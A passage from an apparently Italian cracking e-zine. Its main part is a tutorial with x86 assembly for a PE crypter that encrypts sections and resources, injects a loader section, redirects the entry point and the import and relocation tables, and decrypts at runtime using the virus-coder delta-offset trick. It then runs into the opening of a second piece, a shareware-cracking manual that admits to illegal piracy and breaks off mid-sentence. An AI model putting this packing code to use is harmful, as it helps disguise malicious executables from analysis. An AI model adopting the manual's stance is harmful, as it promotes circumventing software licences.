add edi,[Image_Base] cmp eax,[rsrc_rva] jz short @@handle_res call Encrypt jmp short @@dummy_e @@handle_res: mov eax,offset ResEncryptCallBack call EnumResources @@dummy_e: popa inc ebx ; update loader table index inc byte ptr [sections_num] ; update loader section counter mov dword ptr [crypt_flag],53455920h ; display status = processed ok.. questo codice mi pare autoesplicativo.. innanzitutto calcola il ptr ai dati in memoria quindi verifica che quella che stiamo elaborando non sia la sezione delle risorse.. in caso affermativo switcha alla routine di attraversamento dell'albero delle risorse (la spieghero' piu' avanti..) quindi incrementa il contatore delle sezioni effetivamente criptate che poi il loader usera'a runtime.. @@no_encrypt: call show_stats ; display some stats or [esi.SFlags],IMAGE_SCN_MEM_WRITE ; enable write bit always add esi,IMAGE_SECTION_HEADER_ ; next section in table dec edx jnz short @@next_obj ret questa parte invece merita qualche commento perche' immagino qualcuno si stia domandando perche' setto il flag writable per tutte le sezioni e non solo per quelle criptate.. la ragione e' semplice: la base rilocation! gia'.. sicomme saremo noi a gestirla al posto del loader dobbiamo assicurarci che ogni sezione sia scrivibile alrimenti a runtime dovremmo usare WriteProcessMemory per superare le protezioni di pagina ed applicare i fixup.. per inciso questo e' uno dei classici indicatori per sapere se un file e' cryptato con un crypter che gestiste anche la .reloc movzx eax,[edi.FileHeader.NumberOfSections] ; number of sections inc eax ; +1 mov ecx,IMAGE_SECTION_HEADER_ ; * sizeOf(section_header) mul ecx ; add eax,[lpSectionTable] ; offset of object table mov esi,eax mov edx,edi ; + lpPEHeader add edx,[edi.OptionalHeader.SizeOfHeaders] ; + SizeOfHeaders cmp eax,edx jg @@append_to_last ecco qui un'altra porkeria ;) : questo blocco verifica nel modo piu' semplice se c'e' abbastanza spazio tra la fine della section table e l'inizio delle raw section in caso positivo il crypter creara' una nuova section. Se invece non dovesse essereci spazio optera' per l'append. Ora vediamo in breve in meccanismo di aggiunta di una section: sub esi,IMAGE_SECTION_HEADER_ mov [lpLoaderSection],esi7 inc [edi.FileHeader.NumberOfSections] ; add our section ok.. otteniamo in ESI un puntatore allo spazio non utilizzato che segue l'ultima section; e quindi incrementiamo il numero di sezioni nell'header mov eax,[(esi-IMAGE_SECTION_HEADER_).SVirtualSize] mov ebx,[(esi-IMAGE_SECTION_HEADER_).SizeOfRawData] cmp ebx,eax jle @dummy_sz xchg eax,ebx @dummy_sz: add eax,[(esi-IMAGE_SECTION_HEADER_).SVirtualAddress] call SectionAlign mov [ldr_obj_VA],eax mov [loader_rva],eax ora dobbiamo calcolare l'RVA della nostra nuova sezione in memoria, come vedete il codice utilizza la maggiore quantita' fra la VSize e SizeOfRawData allineata al section alignment e la somma al VA dell'ultima sezione; il fatto di utilizzara max(VSize,RawSize) e' quello che io chiamo safe programming.. come dire meglio prevenire che curare ;) xchg dword ptr [edi.OptionalHeader.AddressOfEntryPoint],eax mov [original_erva],eax calcolato l'RVA della nostra sezione abbiamo anche l'RVA del nuovo entrypoint, dato che si presuppone che l'inizio del vostro codice coincida con l'inizio dei dati nella nuova sezione (in caso contrario dovrete solo sommarci lo scostamento), quindi lo scriviamo nell'header assicurandoci pero' di salvare il vecchio entrypoint che servira' poi al loader per restituire il controllo al programma una volta decrittato mov eax,loader_len call SectionAlign mov [ldr_obj_VS],eax mov eax,loader_len call FileAlign mov [ldr_obj_RWS],eax quindi calcoliamo la nuova VSize e RawSize mov ebx,[(esi-IMAGE_SECTION_HEADER_).PointerToRawData] mov eax,[(esi-IMAGE_SECTION_HEADER_).SizeOfRawData] add ebx,eax xor edx,edx mov ecx,[edi.OptionalHeader.FileAlignment] div ecx or edx,edx ; previus section already file aligned ? mov eax,ebx jz short @@no_zpad add ebx,[Image_Base] ; no cave xor cl,cl @@zpad: mov byte ptr [ebx],cl inc ebx dec edx jnz @@zpad @@no_zpad: call FileAlign mov [ldr_obj_RWA], eax ; file align loader section questo snippet non fa altro che calcolare l'offset in cui dobbiamo scrivere i nostri dati ovvero dalla fine dei dati precedenti accertandosi pero' che quest'ultimo offset sia allineato al file alignment e proveddendo allo zeropad nel caso non lo fosse.. mov eax,[ldr_obj_VS] add eax,[edi.OptionalHeader.SizeOfImage] call SectionAlign mov [edi.OptionalHeader.SizeOfImage],eax ora aggiustiamo l'imagesize aggiungendo la vsize della nostra sezione, cosi' NT non si inkazzera' con noi call RedirectReloc ; redirect reloc table to our call RedirectIT ; redirect IT to loader built-in one eheh questo invece e' un simpatico giochetto che va spiegato: con queste due call sostituiamo nella data directory gli RVA della import table e della reloc table in modo che puntino a quelle hardcoded che abbiamo approntato nel codice del nostro loader. Questa operazione ha diversi vantaggi: 1) siccome la nostra reloc table e' vuota diciamo al loader di winsoz di non applicare alcuna relocation in caso ci sia una collisione altrimenti sarebbe una catastrofe in fase di decrittazione 2) impostando la nuova import table, facciamo in modo che sia windows stesso a patcharci la nostra IAT e a fornirci gli address delle API di cui necessitiamo evitandoci di ricorre a metodi piu' o meno euristici (usati in molti virii) come quello di trovare il base address di kernel32 (che come noto puo' cambiare con ogni nuova versione ed e' differente in 9x e Nt) quindi scannare la export table manualmente per ricavare gli address degli entrypoint di GetProcAddress, LoadLibraryA/W, GetModuleHandleA. 3) in questo modo abbiamo anche alterato l'NT Header e questo ci garantisce che un eventuale cracker che si accinga ad unpakkare la nostra creatura dovra' anche ripristinare correttamente gli RVA nella data entry se vorra' che il programma funzioni Siccome so che siete attenti,avrete notato che non ho ridiretto l'RVA della sezione risorse: eheh in effeti questo e' abbastanza semplice come sistema, e' sufficente harcodare una resource directory nel nostro loader con lo stesso metodo che abbiamo usato per la IT. In questo modo potremmo ad esempio avere la possibilita' di visualizzare delle dialog, dei bmp, o al limite sostituire l'icona del programma con la nostra. Per far in modo poi che il programma "ritrovi" le sue risorse sara' sufficiente che reimpostiamo l'RVA originale nell'header (attenzione che dovrete usare WriteProtectMemory per patchare runtime se non volete un bel gpf). Ma allora perche'non ho messo il codice per questa features.. semplice.. lo spieghero' nel terzo tutorial quando affronteremo le tecniche antidump.. per ora accontentatevi!.. ho gia' scritto un mezzo romanzo! ;))) mov edi,offset loader_obj xchg edi,esi mov ecx, IMAGE_SECTION_HEADER_ rep movsb mov edi,[ldr_obj_RWA] ; edi = offset to loader section mov ebx,[Image_Base] add edi,ebx jmp @@write_loader bene ora abbiamo impostato corretamente i dati della sezione non ci resta che copiarla in coda all'array della sections table, et voila'.. quello che segue invece e' codice per appendere il nostro loader nell'ultima sezione. In genere questo metodo e' da preferirsi a quello precedente della nuova sezione, perche' vi permette di "cammuffare" il fatto che il programma sia criptato, dato che con un hexeditor o un pe-browser tutto sembrera' normale ad occhi non esperti. Per ragioni di spazio (e crampi alle dita ;)) saro' succinto nei commenti anche perche' non c'e' molto da dire se avete letto con attenzione la parte precente: mov ebx,[esi.SVirtualAddress] mov eax,[esi.SizeOfRawData] lea ebx,[eax+ebx+4] ; calculate new entrypoint rva mov [loader_rva],ebx xchg dword ptr [edi.OptionalHeader.AddressOfEntryPoint],ebx mov [original_erva],ebx l'RVA del nuovo entrypoint e' sostanzialmente uguale a (RVA sezione precedente + RawSize sezione precedente + 4) dove il +4 si spiega con il fatto che ci garantiamo che ci sia una DWORD nulla tra noi e la fine dei dati originali, questo perche' con ogni probabilita' quella che modificheremo sara' la .reloc e quindi dobbiamo mantenere un spazio vuoto che funga da terminatore per i dati per la relocation add eax,loader_len call SectionAlign mov [esi.SVirtualSize],eax add eax,[esi.SVirtualAddress] ; imagesize = last_obj.VA + last_obj.VS mov [edi.OptionalHeader.SizeOfImage],eax classico direi: aggiustiamo la imagesize come somma dell'RVA dell'ultima sezione e la nuova VSize ottenuta dall'allineamento della RawSize al section alignment mov eax,[esi.SFlags] and eax,IMAGE_SCN_MEM_NOT_DISCARDABLE or eax,IMAGE_SCN_MEM_EXECUTE + \ IMAGE_SCN_MEM_READ + \ IMAGE_SCN_MEM_WRITE mov [esi.SFlags],eax forziamo i flags writable, readable, executable per essere sicuri di non aver problemi mov ebp,[esi.SizeOfRawData] lea eax,[ebp+loader_len+4] call FileAlign mov [esi.SizeOfRawData],eax allineamo la rawsize al file alignment mov edi,[esi.PointerToRawData] add edi,ebp mov ebx,[Image_Base] add edi,ebx xor eax,eax ; calc offset to the end of rawdata stosd ; last dword = 0 (mark end of reloc) forziamo a zero quel pad di 4byte di cui sopra e quindi ora siamo pronti a copiare il nostro loader.. Again, non riporto il codice che copia il nostro loader perche' e' semplicissimo, l'unica nota e' che ho previsto che zeropaddi l'eventuale cavita' che si crea alla fine del file per via dell'allineamento. Finita la copia del loader il crypter usa UnmapViewOfFile, CloseHandle per rilasciare il MMF e chiama SetFilePointer e SetEndOfFile per troncare la dimensione del file a quella effetivamente necessaria (= ESI calcolato prendendo l'offset finale in uscita dal blocco di copia allineato al file alignment). That's All. Ora invece discuteremo di alcune delle piu' importanti funzioni utilizzate dal crypter RedirectIT: mov eax,[loader_rva] ; rva of decryptor add eax,it_start-ldr_start ; add delta mov [edi.OptionalHeader.DataDirectory.(IMAGE_DIR_IMPORT).VirtualAddress],eax mov [edi.OptionalHeader.DataDirectory.(IMAGE_DIR_IMPORT).Size], it_len add dword ptr k32_original,eax ; kernel32 add dword ptr k32_dll,eax ; add dword ptr k32_first,eax ; xor edx,edx @@adj_k32iat: add [func_k32+edx*4],eax add [apiGetProcAddress+edx*4],eax inc edx cmp edx,size_k32_iat jnz short @@adj_k32iat add dword ptr u32_original,eax ; user32 add dword ptr u32_dll,eax ; add dword ptr u32_first,eax ; xor edx,edx @@adj_u32iat: add [func_u32+edx*4],eax add [apiGetProcAddress+edx*4],eax inc edx cmp edx,size_u32_iat jnz short @@adj_u32iat ret questa funzione in sostanza riaggiusta gli RVA interni alla IT in modo che siano coerenti con la posizione (quindi ancora RVA) in cui sara' mappato il nostro codice. Per comprendere il perche' di queste correzioni bisogna che analizziamo la struttura della IT. La import table come sapete permette al loader di reperire le informazioni relative alle funzioni importate da moduli esterni in modo implicito. Per far questo esso percorre una serie di strutture nella IT che contengono il nome o l'ordinal (= ID che identifica univocamente la funzione e relativo alla sua posizione nell'array AddressOfFunctions della ET) delle funzioni importate ordinate per modulo di appartenenza.. quindi mappa il modulo nello spazio di indirizzamento del processo (LoadLibrary), scanna l'ET del modulo (GetProcAddress) per trovare l'address dell'entrypoint della funzione e quindi patcha la IAT con quest'ultimo. Ora mi aspetto una vostra domanda del tipo: "ma cos'e' la IAT" ? Immaginate la Import Address Table come un array di DWORD che contiene gli indirizzi delle funzioni delle DLL che il programma utilizza. L'esistenza della IAT e' dovuta al fatto che sia il compilatore, sia il linker non possono conoscere a priopri l'address a cui verra' caricata la dll e quindi per consetire al programmatore di utilizzare nel suo codice ad exp. MessageBoxA devono approntare un meccanismo di indirezione: una chiamata da un linguaggio ad alto livello a MessageBoxA verra' tradotta dal compilatore e dal linkere (attraverso una import lib) in una call ad un thunk (normalmente in fondo alla sezione con il codice .text,CODE",ecc).class" tppabs="http://utenti.tripod.it/inversa/tutes/%2Cecc%29.class" che si prensenta cosi': JMP DWORD PTR [0x12345678] dove 0x12345678 e' proprio l'indirizzo della DWORD presente nella IAT che a runtime conterra' l'entrypoint di MessageBoxA. Alternativamente nei compilatori piu' recenti e' possibile usare il modificatore __declspec(dllimport) per specificare che il simbolo esterno e' proprio una funzione esportata da una dll: questo permette al compilatore di eliminare il thunk e di tradurre la chiamata in una piu' performante CALL DWORD PTR [0x12345678] Come vedete la IAT e' di vitale importanza e come logicamente si puo' intuire non facilmente ridirezionabile tant'e' che sebbene noi modificiamo l'header in modo che punti alla nostra IAT, l'RVA in cui andremo a patchare gli indirizzi restera' quello originale (quest'ultimo punto e' di vitale importanza per comprendere come sia possibile per un cracker intercettare la IAT originale). Torniamo alla IT: questa inizia con un array di strutture IMAGE_IMPORT_DESCRIPTOR: * OriginalFirstThunk: e' un RVA ad un array di strutture IMAGE_THUNK_DATA che contengono le informazioni per ogni funzione importata da questo modulo. La fine dell'array e' segnalato da un elemento IMAGE_THUNK_DATA nullo. Questo array a differenza di quello a cui punta FirstThunk non e' patchato dal Loader di Win32. Tuttavia la sua presenza non e' garantita dato che alcuni linker per ottimizzire (vedi borland) lo omettono per cui accertatevi sempre che questo RVA sia diverso da zero. * TimeDateStamp: questo campo ha una duplice funzione a seconda che siano presenti o meno funzioni bound (= gli address delle funzioni sono assoluti e gia'patchati dal linker o dall'utility bind (fornita con l'SDK NT) che assume una determinata imagebase per quel modulo): - nel caso di funzioni bound avra' valore diverso da zero: se vale 0xFFFFFFFF siamo in presenza di un pre-binding new-style, se invece e' diverso da 0xFFFFFFFF si tratta di pre-binding old-style - se invece vale 0 come nella stragrande maggioranza dei casi non ci sono import bound e non serve a null'altro * ForwarderChain: altro campo mistico =P indica l'indice nell'array FirstThunk del primo elemento della forwarders chain, ovvero della lista di funzioni che sono importate da un modulo in cui a loro volta sono forwarded. Si come avete intuito e' un bel casino :) cmq non abbiate a preoccuparvi.. sia le funzioni bound che quelle farwarded sono merce estremamente rara e dubito che ne incontrerete mai salvo decidiate di cryptare moduli di sistema... pessima idea cmq ;) * Name: questo RVA punta ad una stringa null-terminated con il nume del modulo * FirstThunk: questo array e' simile a quello in OriginalFirstThunk con l'unica differenza che ne e' garantita _sempre_ l'esistenza dato che gli elementi IMAGE_THUNK_DATA qui contenuti verranno patchati dal loader di windoz con gli address delle funzioni...come avete capito questo array e' tristemente =) noto come IAT nella IT avremo quindi in successione un elemento IMAGE_IMPORT_DESCRIPTOR per ogni modulo da cui importiamo una o piu' funzioni; l'array e' terminato come al solito con il classico elemento nullo. Quanto alle import bound e forwarded non mi addentro oltre in questo argomento perche' non credo che ne troverete esempi "reali" in quanto entrambi sono meccanismi utilizzati principalmente per dll di windowz stesso e soprattuto sotto NT. Nel caso vogliate approfondire vi consiglio l'ottimo documento di B. Luevelsmeyer. Molto piu' importante invece parlare degli array OriginalFirstThunk e FirstThunk. Come anticipato entrambi puntano ad due array paralleli di IMAGE_THUNK_DATA: ogni IMAGE_THUNK_DATA e' costituito da una sola DWORD che rappresenta una RVA ad un elemento IMAGE_IMPORT_BY_NAME. Ogni IMAGE_IMPORT_BY_NAME e' invece cosi' dichiarato: Hint WORD Name BYTE DUP (?) Hint rapresenta l'ordinal della funzione ma e' coerente solo se l'elemento IMAGE_THUNK_DATA che lo punta ha il bit piu alto accesso (usate la mask IMAGE_IMPORT_BY_ORDINAL). Name invece e' una stringa null-terminated che riporta il nome della funzione importata. Ecco fatto :) .. queste sono tutte le strutture coinvolte nella IT: quindi ora e' chiaro quale sia la sequenza che il loader segue: 1) legge un IMAGE_IMPORT_DESCRIPTOR -> ricava il nome del modulo ->LoadLibrary 2) legge un elemento IMAGE_THUNK_DATA dell'array FirstThunk (o OriginalFirstThunk se presente) e ricava il corrispondente elemento IMAGE_IMPORT_BY_NAME ; contemporaneamente verifica il bit IMAGE_IMPORT_BY_ORDINAL 3) dalla struct IMAGE_IMPORT_BY_NAME ricava nome/ordinal -> GetProcAddress 4) patcha nell'array FirstThunk (IAT) l'elemento IMAGE_THUNK_DATA corrente con l'address della funzione costruendo cosi' la IAT 5) ripete la 2) per ogni IMAGE_THUNK_DATA (= funzione importata) finche' incontra un elemento nullo 6) ripete la 1) per ogni IMAGE_IMPORT_DESCRIPTOR (= modulo "linkato") finche' incontra un elemento nullo Se guadardate il codice del nostro loader vedrete che la funzione HandleIT non fa altro che eseguire queste operazioni. RedirectReloc: mov eax,[loader_rva] ; rva of decryptor add eax,NULL_RELOC-ldr_start ; add delta mov [edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RELOC).VirtualAddress],eax mov [edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RELOC).Size], 10 ret Questa funzione e' sostanzialmente gemella della precedente solo che riaggiusta, e sostituisce nella data directory, l'RVA della nostra relocation table che come potete constatare dai sorgenti e' vuota (fatto naturale visto che saremo noi e non il loader di windoz a gestire le relocations). Vediamo ora la struttura della relocation table perche' una volta che vi sara' chiara comprenderete il funzionamento della funzione HandleReloc. La relocations table e' un sequenza di strutture IMAGE_BASE_RELOCATION che viene utilizzata dal loader per patchare i punti dell'eseguibile in cui si e' fatto uso di indirizzi assoluti relativi all'imagebse assunta a link-time e che ,nel caso di rilocazione, non sarebbero piu' validi: immaginate una cosa tipo MOV EAX,[046707].. come vedete carica un valore dall'address 0x46707.. ma cosa succederebbe se l'imagebase fosse 50000 ?! l'indirizzo 0x46707 non sarebbe piu' valido e il programma leggerebbe un valore errato o generebbe un gpf.. e' quindi necessario che il loader calcoli il DELTA (=50000-40000=10000) e quindi lo sommi all'operando dell'istruzione MOV in modo che tutto torni a posto. Ogni IMAGE_BASE_RELOCATION descrive i fixup da applicare per ognuna delle pagine da 4k (0x1000 = x86 page per chi se ne fosse dimenticato ;) in cui viene suddivisia l'immagine dell'eseguibile. Come si puo' arguire la "struttura" IMAGE_BASE_RELOCATION non ha una dimensione fissa ma se ne puo' conoscere la dimensione attraverso il suo header: IMAGE_BASE_RELOCATION STRUC RVirtualAddress DD 0 < header SizeOfBlock DD 8 < TypeOffset DW ? IMAGE_BASE_RELOCATION ENDS SizeOfBlock contiene appunto la dimensione del blocco incluso l'header. Se vogliamo conoscere quante sono le relocations per questa pagina di eseguibile dobbiamo quindi fare: RelocNumber = ('SizeOfBlock'- sizeof(IMAGE_BASE_RELOCATION.header) idiv 2 Il campo RVirtualAddress rappresenta invece l'RVA a cui inizia la pagina in cui andranno applicati i fixup. Il campo TypeOffset invece e' un array di WORD, ognuna delle quali specifica 1) nel nibble piu' alto il tipo di rilocazione 2) nei restanti 12 bit lo scostamento che sommato all'RVA ci da la posizione in cui applicare il fixup. Il modo in cui applicheremo i fixup e' determinato dal tipo di rilocazione. Nei sorgenti e' presente il codice per i 4 tipi che "dovrebbero" presentarsi in eseguibili per la piattaforma x86 ma come vedete solo il tipo 3 IMAGE_REL_BASED_HIGHLOW e' effettivamente attivo: questo perche' non ho _mai_ trovato un eseguibile che presenti fixup diversi dal tipo 0 (usato solo come padding per l'allineamento a DWORD) o 3 e non ho informazioni in merito al l'utilizzo dei tipi 1,2,4. Cmq sia il modo di procedere avendo un fixup tipo IMAGE_REL_BASED_HIGHLOW e' il seguente: dobbiamo innanzitutto sommare i 12bit dell'offset all'RVA RVirtualAddress e quindi sommarci l'imagebase corrente, fatto questo all'indirizzo cosi' ottenunto dovremmo sommare _tutti_ i 32bit del DELTA. Per i restanti tipi vi rimando ai sorgenti ed alla letture. Ok, anche con le relocations siamo a posto.. ora vediamo alla risourse directory anche perche' e' quella che presenta la struttura piu' elaborata. Innanzitutto va detto che le risorse sono un composte dalle seguenti strutture organizzate gerarchicamente in un albero: IMAGE_RESOURCE_DIRECTORY IMAGE_RESOURCE_DIRECTORY_ENTRY IMAGE_RESOURCE_DATA_ENTRY il nodo iniziale e' sempre una struttura IMAGE_RESOURCE_DIRECTORY i cui campi di nostro interesse sono: * NumberOfNamedEntries * NumberOfIdEntries che indicano rispettivamente il numero di IMAGE_RESOURCE_DIRECTORY_ENTRY che utilizzano NOMI o ID numerici come identificativi. Per cui ad ogni IMAGE_RESOURCE_DIRECTORY segue un numero (NumberOfNamedEntries + NumberOfNamedEntries) di IMAGE_RESOURCE_DIRECTORY_ENTRY che ha invece questa struttura: IMAGE_RESOURCE_DIRECTORY_ENTRY STRUCT NameID DD ? OffsetToData DD ? IMAGE_RESOURCE_DIRECTORY_ENTRY ENDS Il significato di Name dipende dal bit piu' alto: se questo vale IMAGE_RESOURCE_NAME_IS_STRING i restanti 31bit sono un offset, relativo all'inzio delle risorse, ad una struttura IMAGE_RESOURCE_DIR_STRING_U che in definitiva contiene il nome (in formato UNICODE) della risorsa.. nel caso il bit non sia settato allora Name rappresenta un ID numerico. Quest'ultimo nel caso ci troviamo nella root, rappresenta il tipo di risorsa che troveremo nel ramo corrispispondente (definite con le costanti RT_xxxxx in imghdr.inc). Il campo OffsetToData e' anch'esso relativo al valore del MSB: se abbiamo che e'settata la mask IMAGE_RESOURCE_DATA_IS_DIRECTORY allora i restanti 31 bit sono un offset, sempre relativo all'inizio delle risorse, ad un'altra IMAGE_RESOURCE_DIRECTORY che descrive il nodo di livello inferiore, altrimenti se il bit non e' settato i 31bit sono l'offset ad una struttura IMAGE_RESOURCE_DATA_ENTRY di cui ci interessano: * rdOffsetToData: questo e' un RVA al blocco che contine i dati per questa risorsa * rdSize: la dimensione del blocco dati della risorsa Come vedete le strutture assumono un significato diverso a seconda del livello a cui ci troviamo, ma va detto che in genere non troverete piu' di tre livelli prima di arrivare ai dati veri e propri di una risorsa: ROOT RESOURCE_DIRECTORY : NUM ENTRY 3 | +----------------------+-----------------------+ | | | RESOURCE_ENTRY RESOURCE_ENTRY RESOURCE_ENTRY menu dialog icon | | | RESOURCE_DIRECTORY: 3 RESOURCE_DIRECTORY: 2 RESOURCE_DIRECTORY: 3 | | | +-----+-----+ +-+----+ +-+----+----+ | | | | | | | RESOURCE_ENTRY RESOURCE_ENTRY "main" "popup" 0x10 "maindlg" 0x100 0x110 0x120 | DATA_ENTRY Ok spero che la rappresentazione "grafica" sia chiara... ad ogni modo nei miei sorgenti ho scento di percorre l'albero delle risorse con una funzione ricorsiva: EnumResources: push ebp mov ebp,esp push ebp ; save safe ESP push offset @@on_r_except ; our simple handler push dword ptr fs:[0] ; save previous frame mov fs:[0],esp ; establish our SEH frame xor ecx,ecx call EnumResourceDirs,edi,edi,eax,ecx,ecx xor eax,eax jmp @@enum_exit @@on_r_except: mov eax,[esp+8] ; get ERR structure mov ebp,[eax+8] ; ERR + 8 = safe ESP stc sbb eax,eax @@enum_exit: pop dword ptr fs:[0] ; remove SEH frame mov esp,ebp pop ebp ret questa codice prepara l'attraversamento delle risorse impostando l'adress base delle risorse, il livello inziale (0) e la callback che verra' invocata ad ogni nodo (notate che ho impostato un exception frame ..la sfiga e' sempre in agguato ;)) Ho scelto di utilizzare una callback per avere a disposizione un "engine" di attraversamento dell'albero delle risorse che mi consentisse di compiere qualsiasi tipo di operazione sui vari nodi (ad esempio e' possibile rilocare l'intero tree semplicemente cambiando gli RVA dei data entry mentre lo attraversiamo) avendo a disposizione le informazioni relative al livello ed al tipo di nodo in cui ci troviamo. Infatti se guardate i sorgenti la callback utilizzate per criptare (i.e.ResCryptCallBack) le risorse e' uin grado di lasciare inalterate le risorse RT_ICON,RT_GROUP_ICON in modo che il programma possa mostrare la sua icona nell'explorer. Tutto questo avviene grazie a chiamate ricorsive fra EnumResourceDirs e EnumResourceEntry che a loro volta chiamano la callback passandogli i dati relativi al livello in cui ci troviamo nel ramo, il tipo di nodo, ed ogni informazione utile come la base delle risorse. Come al solito non riporto i sorgenti..ma credo che la spiegazione sia chiara. Bene, ora non resta che esaminare il loader. Come e' ovvio il nostro codice dovra' essere indipendente dalla imagebase altrimenti anche noi avremmo il problema della rilocazione.. bene la soluzione sta nell'usare il buon vecchio trucco del delta-offset usato dai tempi immemori del dos e tanto caro a virii coderz. In questo modo non avremmo piu' riferimenti assoluti ma solo relativi. e sara' facile calcore l'imagebase a siamo stati mappati con questo semplice codice facendo riferimento all'RVA del nostro loader: ldr_start: pushfd ; save host reg state pushad call delta ; get delta offset delta: pop ebp sub ebp, (delta - ldr_start) ; ebp = delta offset mov eax, ebp ; calculate current imagebase sub eax, [(loader_rva-ldr_start)+ebp] mov [@image_base+ebp],eax ; store for later a dir il vero potevamo anche usare GetModuleHandle, ma diciamo che cosi' fa piu scena ;)) mov edx,[(original_erva-ldr_start)+ebp] ; original entry point rva add edx,eax mov [esp+28],edx ; save host ret address trovata l'imagebase , possiamo anche calcolarci l'entrypoint originale a cui restituiremo il controllo una volta finito il nostro sporco lavoro lea eax,[@loader_eHandler+ebp] ; our hanlder push esp ; save safe ESP push ebp ; save delta push eax push dword ptr fs:[0] mov fs:[0],esp ; establish a SEH frame stabiliamo un bel exception frame per ogni eventualita' in modo che il programma in caso di problemi mostri una MessageBox piu' gentile di quello di windoz (notate che l'address dell'hander e' calcolato con il solito delta) xor edx,edx next_object: ; read section data from decryptor table mov edi, [@image_base+ebp] mov eax, [ebp+(@section_array.section_rva)+edx*8] ; RVA add edi, eax ; imagebase+rva= VA of section mov ecx, [ebp+(@section_array.section_vsize)+edx*8] ; VSize cmp eax,[@rsrc_rva+ebp] pusha jz short @@handle_res_d call Decrypt jmp short @@dummy_d @@handle_res_d: lea eax,[@ResDecryptCallBack+ebp] xor ecx,ecx call EnumResourceDirs,edi,edi,eax,ecx,ecx @@dummy_d: popa quindi il loop che decritta i dati.. che e' perfettamente simmetrico a quello dell'encryptor. L'algoritmo di crittazione e' decisamente semplice ma serve a dimostrare che il meccanismo della rilocazione funziona (se avessimo usato un'encryption additiva non ci sarebbe bisogno di prendersi cura delle rilocazioni ( A-B = C anche (A+x)-(B+x) = C). Una volta decrittati i dati delle sezioni, il nostro loader si occupa di gestire una eventuale rilocazione ( HandleReloc ), e successivamente la risoluzione delle imports con il caricamento delle DLL nello spazio di indirizzamento del programma, e la costruzione della IAT che poi verra' utilizzata dallo stesso. Eseguite queste operazioni l'immagine dell'eseguibile e' stata ricostruita in memoria e di conseguenza possiamo restituire il controllo al codice originale attraverso il canonico jmp eax (l'utilizzo eax non e' casuale: quando il loader di win9x passa il controllo al programma in eax c'e' infatti proprio l'address dell'entrypoint, quindi per eviate problemi e' meglio mimare il comportamento di windowz) pop dword ptr fs:[0] ; remove seh frame add esp,0Ch ; clean stack popa ; restore host regs popfd jmp eax ; jump to original entry point --==[ NOTE FINALI]==---------------------------------------------------------- Miii , quando ho iniziato questo tutorial non pensavo credevo che avrei scritto tanto: e' davvero' lunghetto, per cui se vi siete rotti il cz, e non l'avete finito di leggere, avete tutta la mia solidarieta' =) Spero di essere stato chiaro, e abbastanza dettagliato, in modo che anche chi si avvicina per la prima volta al problema dei pe-crypters possa capirci qualcosa. Chi invece e' gia' esperto in materia mi auguro abbia apprezzato lo sforzo di coagulare le informazioni che si possono repire sull'argomento in tutorial che presenta anche un esempio pratico. Ok, ora e' il tempo dei greetings (tranquilli saranno brevissimi ;). Innanzitutto voglio ringraziare +Fravia & +HCU tutta,Stone/UCF,Virogen/PC, Hyras,Izelion, i membri del 29/a e Ikx per aver messo a dispozione del pubblico le loro conoscenze/sorgenti fondamento di molte delle mie conoscenze. Ringraziamenti anche a Matt Pietrek e Andraw Shulman, Jeffey Rithcher.. grazie di esistere :)) I miei ringraziamenti vanno poi a tutti i memberz di ringzer0 e frequentatori di #crack-it: along3x, furbet, metalhead,suby,t3x, kry0, e tutti gli altri.. un tnx speciale va a: Daemon: perche' riesce sempre a farmi sparlare di M$ e VB ;) (..salutami patrizia!) Insanity : che pubblichera' questo tute tempestivamente! ;) Genius : che continua a sperare che finiremo quel benetto api-hooker a r0 ;)) +Malattia: perche' e' un po' che non ci sentiamo.. fatti vivo ammorbato! :) Neural_Notepad_Noise ;) per essere assolutamente assurdo e per aver fatto da cavia nei test ;) Pusillus: per il suo entusiasmo incondizionato verso ringzer0 :) xAONON : per le brevi ma intense chiaccherate sul PE Yan-orel: che sta sempre ad ascoltare le mie cazzate ad ore assurde :) War-lock: perche'..... beh lasciamo stare ahaha ;)))) byz Kill3xx NOTA BY N0bodY88 = splendido, dico solo questo! Complimenti al mito Kill3xx! ===================================================================== Manuale di Cracking - by S2 ===================================================================== 1. Prefazione Per iniziare vorrei subito dire che tutto quello che segue non e' assolutamente da prendere sul serio e non e' assolutamente da fare o provare. Anzi, e' assolutamente illegale, e quindi, se non volete dire "ciao" a un pulotto che suona al vostro campanello perche' siete diventati pirati informatici non fatelo. Bene bene bene... Detto questo un ciao a tutti voi che avete una gran voglia di fottere tutti quei programmini Shareware del cazzo che dopo trenta giorni di evaluation non funzionano piu', o quelli che danno possibilita' limitate a meno che non inseriate la mistica password associata all'user name inserito ecc... vi siete proprio rotti le balle... vero? Io almeno, confesso che me le sono rotte, e quindi... aguzzo l'ingegno e inculo tutte quelle softwarehouse che ti chiedono 20$ per il loro programma. Ma se vi devo dire la verita' non lo faccio solo per questo, ma anche per un altro motivo: Quando riesco a mettere insieme tutti i pezzi del puzzle, e vedo sullo schermo del mio bel pc una finestrella che mi dice "Tnx for registering" mi sento un grande. Perche' penso di essere uno dei pochi su questa faccia della terra a essere in grado di farlo, e quindi mi sento un figo. Comunque, quando poi ripenso ai 20$ risparmiati sono ancora piu' felice... Quindi questo manuale non e' da vedere come un manuale al crackaggio, ma piu' come un manuale della felicita'... che umorista che sono... io non devo passare tutte queste ore davanti al pc... poi mi metto a scrivere stronzate del genere... sono proprio fuso... vabbe'... mi accendo una cicca, va'. In ogni caso questo non e' un manuale di Assembler, quindi non aspettatevi particolari sull'asm, quelli li trovate in inglese in giro per Internet, ma e' una guida al crackaggio. Quello che voglio insegnare non e' come trovare le password associate agli user name, ma semplicemente come avere l'accesso. Per riuscire a scoprire la password, avete bisogno di conoscere un sacco di asm e soprattutto dovete farvi un pacco cosi' di matematica... ma questo e' un altro file... forse in futuro ve lo scrivero'... Adesso andiamo al sodo e cominciamo: 2. Breve introduzione all'Assembler Allora. Per crackare un programma bisogna disassemblarlo, cioe' tradurre il programma .exe o .com in una lista di istruzioni da noi comprensibili, per poi modificarlo in modo da fargli credere di aver inserito la password giusta, o che i 30 giorni non sono passati e cosi' via. Siccome per disassemblare i programmi da crackare si usa il SoftIce, che disassembla i programmi in Assembler (asm), bisogna sapere questo linguaggio. Voi direte, "ma non possiamo tradurre il programma in italiano, cosi' lo capiscono tutti?". E io vi rispondo, ci sto lavorando, ma quando avro' finito lo distribuiro' in una versione Shareware incrackabile! Tje'! Ok. Ora vi spiego un po' come funziona l'Assembler: 2.1 I registri La CPU del computer e' divisa in diversi registri, che ora vi spiego uno per uno cosa sono e come si chiamano, e servono per memorizzarci dei 